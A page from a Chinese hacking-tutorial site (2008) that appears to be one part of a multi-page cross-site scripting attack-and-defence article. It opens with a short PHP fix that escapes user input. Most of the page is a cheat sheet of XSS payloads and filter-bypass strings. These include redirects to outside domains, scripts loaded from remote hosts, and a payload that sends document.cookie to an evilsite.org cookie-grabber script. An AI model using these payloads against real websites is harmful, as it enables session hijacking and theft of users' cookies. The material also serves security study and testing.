通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 爱心红客 电信网通铁通移动 在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
跨站脚本-攻击和防御指向
责任编辑:酷酷の鱼   更新日期:2008-7-15
 

 

在第16行放置

<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
By:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
use htmlspecialchars() function in PHP

other function:
htmlentities() quotes
strip_tags()
...
____ ____

要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:

利用image:

<IMG SRC="/Article/UploadFiles/200805/20080504093657109.png">
利用flash:

<EMBED SRC="http://hax0r.com/Haxored.swf">

重定向:

<script>window.open( "http://lovelaozang.cn/xss.html" )</script>

还有:

<meta http-equiv="refresh" content="0; url=http://lovelaozang.cn/xss.html" />


____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 6 - 过滤绕过 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

事实上也不是那么简单就能绕过

htmlspecialchars()

这里有一些关于绕过xss的例子:

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !";

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

click me

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\"</script>'); ?>

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\"';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>

Flash是用来做复杂的动画,模拟的,创造游戏等。

上一页  [1] [2] [3] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司07月15日发布 每日计算机病毒及木马播报
    普通文章 赛门铁克:7月垃圾邮件现状报告
    普通文章 微软7月安全补丁与ZoneAlarm防火墙冲突
    普通文章 瑞士垃圾邮件比例最高
    普通文章 “记事本”的杀毒功能
    普通文章 Word存远程代码执行漏洞
    普通文章 华为赛门铁克预计明年推出40G接口防火墙
    普通文章 国际黑客组织扬言对北京奥运发动网上攻击
    推荐文章 推荐:三大措施设置数据库安全 保障网站安全运营
    普通文章 最新“艾妮”感染型病毒下载器行为分析
    热门文章
    普通文章奥运安全杂谈:别让你的电脑给奥运抹黑鬼
    普通文章微软本月将发4个重要级安全补丁
    普通文章IE8新增反恶意软件保护功能
    普通文章黑客侦察目标几种常用技术解析
    普通文章巧妙删除Linux下的U盘顽固病毒
    普通文章18岁黑客开博卖病毒 欲饿死杀毒软件商
    普通文章七步让木马与你断绝关系
    推荐文章卡巴斯基防火墙反黑客的设置技巧
    普通文章提升诺顿杀毒功能的5个小技巧
    普通文章发现病毒无法清除怎么办?教您彻底查杀病毒
    精彩专题